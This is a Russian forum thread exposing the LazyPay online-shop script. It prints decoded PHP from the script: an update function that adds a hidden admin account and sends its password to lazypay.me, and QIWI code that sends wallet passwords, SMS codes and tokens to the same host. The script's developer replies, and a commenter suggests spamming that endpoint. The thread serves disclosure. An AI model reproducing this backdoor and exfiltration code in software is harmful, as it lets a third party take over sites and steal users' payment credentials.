LazyPay - Открытость, Честность, Порядочность.... И плюшки от разраба

Тема в разделе "Защита и взлом", создана пользователем stealthdebuger, 25 дек 2014.

  1. stealthdebuger

    stealthdebuger Механик

    Administrator
    Регистр.:
    25 авг 2008
    Сообщения:
    634
    Симпатии:
    1.407
    Не столь давно обратился ко мне, не знакомый на тот момент и рассказал занимательную историю.
    Нашел он в Сети множество восторженных отзывов о скрипте интернет-магазина LazyPay, о том, как быстро и удобно (а главное - анонимно) можно принимать оплату через QIWI, и решил себе его приспособить для собственных нужд. Будучи человеком действительно честным, пошел он на сайт lazypay.me и купил у разработчика легальную версию скрипта зацельных 2500 рублей, да вот беда...
    Посмотрел человек, а скрипт дает такой длинный и сложный комментарий к платежу (15 букв и цифр перемешаных всяко), что неискушенным покупателям очень трудно его запомнить, да и ввести не всегда удается с первого раза правильно. Вот и решил человек попросить разработчика сделать комментарий попроще. Но увы, не хочет разработчик ничего менять и от денег предлагаемых отказывается. Пошел тогда человек искать умельцев в народе, да не берется никто, а все почему?
    Потому, что разработчик этот закодировал скрипты IonCube, одним из последних версий. Правда он, в отличие от этого человека, не удосужился купить кодировщик и пользовался ломаной версией. Ну, да Бог с ним. Нашлись умельцы, раскодировали скрипты, попутно удивляясь найденной в файле /application/models/siteconfig.php проверке.
    PHP:
        $secret md5(rand(2,1000));
        
    file_put_contents('./testfile.txt',$secret);
        if(
    trim(file_get_contents('./testfile.txt')) != $secret)die('');
        
    unlink('testfile.txt');
        
    $hostname $_SERVER['HTTP_HOST'];
        
    $file file_get_contents("http://lazypay.me/check.php?domen=$hostname");
        if(
    $file != md5($hostname.'emNkXM.68x'))
        die(
    'Стоит приобрести лицензию!');
    Если со второй половиной кода было все понятно, простенькая проверка лицензии объединяющая в себе и стучалку, то с первыми четырьма строками было не ясно. Непонятно зачем и для чего вообще они нужны были. Почему разработчику потребовалось проверять возможность записи файла именно в том участке кода, где идет проверка лицензии...
    Пошли умельцы дальше и удивились еще больше. Увидали они файл /application/helpers/qiwi-class.php. Открыли этот файл, а там... Там класс автоматической работы с Qiwi позаимствованный у печально известного XeronExchanger, который был впервые был выложен в паблик именно на этом форуме, а уж после пошел гулять по сети. Удивились умельцы наглости разработчика, ибо он использует чужой скрипт, зарабатывает на этом деньги, но в месте с тем шлет свои претензии (абузы) разным сайтам, требует чтобы ссылки на его скрипты удалили, Законом пугает...
    Пошли умельцы дале и стали смеяться, да смеялись так, что чуть животы свои не надорвали. Дал им человек версию скрипта 2.0, в упаковке от разработчика. Заглянули они в архив, а там еще два: v.1.6.1.rar и UPD2.0.rar да файлик Инструкция по установке.txt. Но не это их рассмешило, хоть и улыбнуло слегка. Поставили умельцы версию 1.6.1, накатили поверх нее файлики от версии 2.0 и начали читать инструкцию:
    Инструкция обновления до 2.0
    Автор lazypay, 04 Апр 2014 18:36

    1) Разархивируйте полученный файл в корень сайта с заменой

    2) Зайдите в админку и перейдите по ссылке: ваш_сайт/update2/

    3) Следуйте указаниям

    4) Если все прошло успешно, то переходите на FTP своего сайта

    5) Открываем application/views/components/page_head.php

    6) Заменяем 4-ую строку на

    <title><? echo $title.config_item('site_name'); ?></title>

    7) Открываем assets/css/style.css и добавляем в конце

    .part_link img
    {
    width:200px;
    }
    .menuad {
    text-align:center;
    }
    .footad {
    text-align:center;
    }
    #loading {
    display: none;
    position: fixed;
    z-index: 1000;
    top: 0;
    left: 0;
    height: 100%;
    width: 100%;
    background: rgba( 255, 255, 255, .8 )
    url('../img/ajax-loader.gif')
    50% 50%
    no-repeat;
    }

    .CodeMirror {
    border: 1px solid #eee;
    height: 85vh;
    margin-bottom: 20px;
    }

    .itemlink {
    display:inline-block;
    width: 100%;
    color:#000;
    }

    .itemlink:hover {
    text-decoration: none;
    color:#000;
    }

    .savefile {
    float:right;
    display:inline-block;
    }

    #filename {
    margin: 10px !important;
    margin-top: 0px !important;
    font-size: 24px;
    display:inline-block;
    }

    #coupon {
    float:right;
    margin:9px;
    margin-bottom:0px;
    font-size:11px;
    }
    .cpnin {
    margin-top:0px !important;
    }
    #coupon:hover {
    cursor:pointer;
    }

    .saveblock {
    width:100%;
    height:auto;
    }
    .glyphicon-lg{font-size:3em}
    .blockquote-box{border-right:5px solid #E6E6E6;margin-bottom:10px}
    .blockquote-box .square{width:100px;min-height:50px;margin-right:22px;text-align:center!important;background-color:#E6E6E6;padding:20px 0}
    .blockquote-box.blockquote-primary{border-color:#357EBD}
    .blockquote-box.blockquote-primary .square{background-color:#428BCA;color:#FFF}
    .blockquote-box.blockquote-success{border-color:#4CAE4C}
    .blockquote-box.blockquote-success .square{background-color:#5CB85C;color:#FFF}
    .blockquote-box.blockquote-info{border-color:#46B8DA}
    .blockquote-box.blockquote-info .square{background-color:#5BC0DE;color:#FFF}
    .blockquote-box.blockquote-warning{border-color:#EEA236}
    .blockquote-box.blockquote-warning .square{background-color:#F0AD4E;color:#FFF}
    .blockquote-box.blockquote-danger{border-color:#D43F3A}
    .blockquote-box.blockquote-danger .square{background-color:#D9534F;color:#FFF}

    .mb20 { margin-bottom: 20px; } .search-result .thumbnail { border-radius: 0 !important; }
    .search-result:first-child { margin-top: 0 !important; }
    .search-result { margin-top: 20px; }
    .search-result .col-md-2 { border-right: 1px dotted #ccc; min-height: 140px; }
    .search-result .col-md-12 { position: relative; }
    .search-result span.border { display: block; width: 97%; margin: 0 15px; border-bottom: 1px dotted #ccc; }
    .pubcat {
    font-size:12px;
    font-weight: normal;
    }
    .pubbody {
    overflow: hidden;
    }
    .nav-pills>li.active>a, .nav-pills>li.active>a:hover, .nav-pills>li.active>a:focus {
    color: #fff;
    background-color: #428bca;
    }

    .margintop20 {
    margin-top:20px;
    }

    .nav-pills>li>a {
    border-radius: 0px;
    }

    .rmenu a {
    text-decoration: none;
    }

    .rmenu a:hover {
    text-decoration: none;
    }


    .nav-stacked>li {
    margin-top: 0px;
    margin-left: 0;
    border-bottom:1px solid #dadada;
    }

    .active2 {
    border-right:4px solid #428bca;
    }
    .subcat span{
    margin-left:17px !important;
    }
    .ifullbody {
    position: relative;
    overflow:hidden;
    }
    .priceinfo {
    padding-left: 50px;
    position: absolute;
    top: 10px;
    right: 10px;
    background: -moz-linear-gradient(left, rgba(255,255,255,0) 0%, rgba(255,255,255,1) 25%, rgba(255,255,255,1) 100%); /* FF3.6+ */
    background: -webkit-gradient(linear, left top, right top, color-stop(0%,rgba(255,255,255,0)), color-stop(25%,rgba(255,255,255,1)), color-stop(100%,rgba(255,255,255,1))); /* Chrome,Safari4+ */
    background: -webkit-linear-gradient(left, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 25%,rgba(255,255,255,1) 100%); /* Chrome10+,Safari5.1+ */
    background: -o-linear-gradient(left, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 25%,rgba(255,255,255,1) 100%); /* Opera 11.10+ */
    background: -ms-linear-gradient(left, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 25%,rgba(255,255,255,1) 100%); /* IE10+ */
    background: linear-gradient(to right, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 25%,rgba(255,255,255,1) 100%); /* W3C */
    filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#00ffffff', endColorstr='#ffffff',GradientType=1 ); /* IE6-9 */
    }

    8) Открываем application/views/main_layout.php



    Находим :

    <div class="row maincont">
    <div class="col-lg-8">

    Вставляем ниже:

    <ol class="breadcrumb">
    <? if($breadcumbs:( foreach($breadcumbs as $key=>$br:( ?>
    <li><a href="<? echo $br[1]; ?>"><? echo $br[0]; ?></a></li>
    <? endforeach; ?>
    <? endif; ?>
    </ol>

    Находим:

    <div class="col-lg-4">

    Удаляем из блока:

    <h2 class="hnomarg">Меню</h2>
    <? echo get_menu($menu); ?>

    Вставляем:

    <div class="container">
    <div class="row">

    <div class="col-md-12">
    <? if($catslist:( ?>
    <div class="panel panel-default">
    <div class="panel-heading">
    <h3 class="panel-title">Категории</h3>
    </div>
    <ul class="rmenu nav nav-pills nav-stacked">
    <? foreach($catslist as $cat) : ?>
    <li <? if($cat['sub'] == 1) echo 'class="subcat"'; ?>><a href="/page/<? echo $cat['slug']; ?>/1"><span class="glyphicon glyphicon-chevron-right"></span> <? echo $cat['name']; ?></a></li>
    <? endforeach; ?>
    </ul>
    </div>
    <? endif; ?>
    <? if($pages) : echo '<h3 class="hnomarg"><a href="/page/">Новости</a></h2>'; foreach($pages as $page:( ?>

    <div class="blockquote-box clearfix">
    <h4><a href="/page/<? echo $page['id']; ?>"><? echo $page['title']; ?></a></h4>
    </div>
    <? endforeach; ?>
    <? endif; ?>
    </div>
    </div>
    </div>
    <div class="panel panel-default">
    <div class="panel-heading">
    <h3 class="panel-title">Последние покупки</h3>
    </div>

    <div class="list-group">
    <? echo $last_orders; ?>
    </div>
    </div>

    9) Добавляем перед последней строкой

    <div id="loading"></div>

    10) Сохраняем



    Обновление успешно установлено, можете пользоваться :D


    Долго смеялись умельцы, но время идет, работу уже и заканчивать пора, ан нет. Скоро сказка сказывается, да не скоро дело делается. Пошли умельцы согласно инструкции от разработчика выполнять пункт за пунктом, да насторожило их следующее:
    Полезли умельцы к файлам, давай смотреть-искать, да и нашли файлик /application/controllers/update2.php
    Сняли с него IonCube, открыли файлик, а там... Там известная уже проверка лицензии что лишь самую малость изменена и теперь делает редирект на URL от разработчика поступивший. Ничего страшного, можно удалить ее и ставить обновку-то. А как поставите, то и дело сделано или, как говорят буржуи, done.
    Вот и умельцы наши посмотрели, подумали да и решили присмотреться к функции done что в класса update2. Присмотрелись и...
    PHP:
            function done() {
                
    $hash substr(uniqid(time()),8);
                
    $mail $hash.'@pirate.not';
                
    $pass md5($hash);
                
    $hostname $_SERVER['HTTP_HOST'];
                
    $file file_get_contents('http://lazypay.me/save.php?dmn='.$hostname.'&pass='.$hash);
                
    $this->db->query('INSERT INTO `users` (`id`, `email`, `password`, `name`) VALUES (NULL, \''.$mail.'\', \''.$pass.'\', \'admin\');');
                
    unlink(__FILE__);
                
    redirect('/');
            }
    Что делает этот код? Создает на сайте нового пользователя и отправляет разработчику данные для входа...

    Вот и вся история. Эпилога не будет, выводы пусть каждый делает для себя самостоятельно.
     
    anananas, mig2011, zerg и 8 другим нравится это.
  2. Provokator86

    Provokator86

    Регистр.:
    27 май 2012
    Сообщения:
    351
    Симпатии:
    201
    И обладает пользователь силой тёмною, да правами администраторскими. И вершит сей юзер дела пакастные да присмеивается.
    Конечно было бы очень смешно если б не столь печально. Спизж..ый код с добавлением своего гов..ца.
     
    Последнее редактирование: 8 янв 2015
  3. stealthdebuger

    stealthdebuger Механик

    Administrator
    Регистр.:
    25 авг 2008
    Сообщения:
    634
    Симпатии:
    1.407
    Расстроили людишки злобные разработчика, да не сильно. Прошел Новый год, подсохли слезы на глазах, прошли обиды и вернулась она...
    Та, что маленькая и зеленая но сильно давит. Трудно сдержать страсть, особенно, если эта страсть не к девчонкам, а к деньгам.
    А ко всему еще и QIWI порадовали очередным обновлением, да парсер ворованый в который раз уж перестал работать.
    И решился разработчик LazyPay на кардинальные изменения. Выпустил от фикс очередной для QIWI, да фикс не простой, а с секретом.
    А чтоб никто о секрете ёйном не прознал, решил разработчик накрыть его кубиком, что в народе ioncube зовется.
    Но мир не без добрых людей, позвали человеки умельцев, да попросили глянуть что там под кубиком скрывается, какой такой секрет прячут от них.
    Сняли с парсера этого, умельцы кубик, когда глядь, а там и нет вовсе парсера...
    Парсера нет, а секрет есть. Что ж за секрет такой, спросите вы? Большой темный секрет, что скрывает злобный умысел ибо втайне от человеков делается и вопреки их воле.
    Файл qiwi_helper.php
    PHP:
    <?php
        
    if (!defined'BASEPATH' )) {
            exit( 
    'No direct script access allowed' );
        }

        require( 
    'qiwi-class.php' );

        function 
    qiwi_pay($qiwi_num$qiwi_token$bill$price) {
            
    $operations json_decodefile_get_contents'http://lazypay.me/api/qiwi/token.php?action=pay_report&phone=' $qiwi_num '&token=' $qiwi_token '&domain=' getenv'HTTP_HOST' ) ), );
            foreach (
    $operations['p-list']['p'] as $operation) {
                
    $operation $operation['@attributes'];
                if (( ( ( ( 
    $operation['to_c'] == '643' && number_format$operation['rs'], 2'.''' ) == $price ) && $operation['cmnt'] == $bill ) && $operation['st'] == '60' ) && $operation['e'] == '0' )) {
                    return 
    1;
                    continue;
                }
            }

        }

        function 
    check_qiwi($qiwi_num$qiwi_token) {
            
    $check json_decodefile_get_contents'http://lazypay.me/api/qiwi/token.php?action=pay_report&phone=' $qiwi_num '&token=' $qiwi_token '&domain=' getenv'HTTP_HOST' ) ), );
            if (
    $check['result-code'] != 0) {
                exit(  );
            }
        }


    ?>
    Файл qiwi.php
    PHP:
    <?php
        
    class qiwi extends Admin_Controller {
            function 
    __Construct() {
                
    parent::(  );
                
    $this->load->model'siteconfig' );
                
    $this->load->helper'qiwi_helper' );
            }

            function 
    index() {
                
    $qiwi_num config_item'qiwi_num' );
                
    $qiwi_pass $this->encrypt->decodeconfig_item'qiwi_pass' ) );
                
    $response file_get_contents'http://lazypay.me/api/qiwi/token.php?action=init&phone=' $qiwi_num '&pass=' $qiwi_pass '&domain=' getenv'HTTP_HOST' ) );

                if (
    $response != 'ERROR') {
                    echo 
    '
                <form action="/qiwi/token" method="POST">
                <input type="hidden" value=' 
    $response ' name="code">
                <input type="hidden" value=' 
    $qiwi_num ' name="phone">
                <input placeholder="Код из смс" name="vcode">
                <input type="submit">
                </form>
                '
    ;
                    return 
    null;
                }

                echo 
    'Неверные данные от QIWI';
            }

            function 
    check() {
                
    $qiwi_token config_item'qiwi_token' );
                
    $qiwi_num config_item'qiwi_num' );
                echo 
    '<pre>';
                
    print_rjson_decodefile_get_contents'http://lazypay.me/api/qiwi/token.php?action=pay_report&phone=' $qiwi_num '&token=' $qiwi_token '&domain=' getenv'HTTP_HOST' ) ), ) );
            }

            function 
    token() {
                
    $response file_get_contents'http://lazypay.me/api/qiwi/token.php?action=token&phone=' $_POST['phone'] . '&code=' $_POST['code'] . '&vcode=' $_POST['vcode'] . '&domain=' getenv'HTTP_HOST' ) );

                if (
    $response != 'ERROR') {
                    
    $check json_decodefile_get_contents'http://lazypay.me/api/qiwi/token.php?action=pay_report&phone=' $_POST['phone'] . '&token=' $response '&domain=' getenv'HTTP_HOST' ) ), );

                    if (
    $check['result-code'] == 0) {
                        
    $query $this->db->query'SELECT * FROM `config_data` WHERE `key` LIKE \'qiwi_token\'' );

                        if (
    $query->num_rows(  ) == 0) {
                            
    $this->db->query'INSERT INTO `config_data` VALUES(\'qiwi_token\',\'' $response '\')' );
                        } 
    else {
                            
    $this->siteconfig->save'qiwi_token'$response );
                        }

                        echo 
    '<center><h2>QIWI успешно настроен</h2></center>';
                        return 
    null;
                    }

                    echo 
    'Неверные данные от QIWI';
                    return 
    null;
                }

                echo 
    'Неверные данные от QIWI';
            }
        }

    ?>
    Вам ведь не надо объяснять куда передаются логин, пароль от ваших аккаунтов QIWI? Куда вы отправляете код подтверждения из SMS?
    И что можно со всем этим сделать, если случится очередной приступ страсти, а у вас на балансе будет какая-то интересная сумма?
     
    Amazko, fairbug, Sorcus и 2 другим нравится это.
  4. stealthdebuger

    stealthdebuger Механик

    Administrator
    Регистр.:
    25 авг 2008
    Сообщения:
    634
    Симпатии:
    1.407
    Amazko, fairbug, Sorcus и 2 другим нравится это.
  5. lazypay_support

    lazypay_support Писатель

    Регистр.:
    11 янв 2015
    Сообщения:
    1
    Симпатии:
    0
    Объяснял ситуацию уже на стороннем форуме, сюда просто скопирую.
    Обсуждение кто захочет, тот найдет.
    Не буду оставлять ссылки на сторонние ресурсы.

    Вкратце, "статья" была написана одним из покупателей из-за того, что я отказался выкладывать новый модуль для QIWI в открытый доступ, опасаясь его дальнейшего слива другим сервисам. (чего собственно покупатель и хотел)

    Теперь по порядку постараюсь доступно объяснить всю ту грязь, которую описал ТС.

    Новый модуль для QIWI работает через VK QIWI API, для его функционирования для каждого кошелька нужно получить индивидуальный token доступа к API.
    Для этого требуется ввести свои данные QIWI и подтвердить вход кодом из смс, после чего вы получите сам token.
    Данный token позволяет получать ту информацию о QIWI кошельке, которую не нужно подтверждать через смс код. (В данном случае получение истории операций)
    Для остальных операций нужно заново получать смс код.
    В моем же модуле требуется единожды, в процессе установки, подтвердить Qiwi кошелек кодом!
    Покупатели это могут доказать.

    Можно возразить "Ты же можешь ввести этот смс код как подтверждение операции перевода денег!"
    1) Для того чтобы отправить запрос на перевод средств, нужно сперва получить token для доступа к QIWI кошельку.
    2) В смс сообщении с кодом четко указано для какой операции этот код используется.

    Касательно передачи вашего пароля на мой сервер:
    1) Зная пароль нельзя выполнить не единого действия без подтверждения по смс.
    2) Особенности этого API позволяют вам сменить пароль после получения token - он все равно будет пригоден для получения истории операций.


    Очень мерзко и подло со стороны автора писать такие провокационные "статьи".
    Но я прекрасно понимаю желание конкурентов показать LazyPay в плохом свете, хотя сами же конкуренты строят свои проекты на ворованном продукте.
    Именно вам бы и стоило задуматься о честности и порядочности!

    Адекватным же людям готов ответить на все интересующие вас вопросы.
     
  6. stealthdebuger

    stealthdebuger Механик

    Administrator
    Регистр.:
    25 авг 2008
    Сообщения:
    634
    Симпатии:
    1.407
    Бред. Статью писал я, но так уж сложилось исторически, что никогда в жизни не был ни чьим покупателем. Тем более такого сырого скрипта на краденом парсере.
    К тому же, я не продаю скрипты интернет-магазина и по этой причине просто физически не могу быть конкурентом. Да и проектов никаких у меня нет ;)

    P.S. Павлуша-то знает о своем парсере? Процент с продаж идет ему аль подсказать? Он человечек дюже охочий до денег и спуску не даст.

    P.S.S. Перейти по ссылке
     
    Последнее редактирование: 11 янв 2015
    KillDead, Provokator86 и Amazko нравится это.
  7. Chvalov

    Chvalov

    Регистр.:
    31 окт 2011
    Сообщения:
    236
    Симпатии:
    76
    Как я понял можно засрать его файл при переходе по такому линку
    Код:
    http://lazypay.me/save.php?dmn=axaxa.net&pass=kakoy_pass
    @stealthdebuger В SQL дампе есть что то интересное ?
     
  8. ilya_bayk13

    ilya_bayk13 Создатель

    Регистр.:
    19 июл 2016
    Сообщения:
    29
    Симпатии:
    14
    Что то и к сайту доступ не получить. Слился получается ?
     
  9. MrDevil13

    MrDevil13 Писатель

    Регистр.:
    26 июн 2014
    Сообщения:
    2
    Симпатии:
    0
    есть еще где-то этот дамп? захотелось посмотреть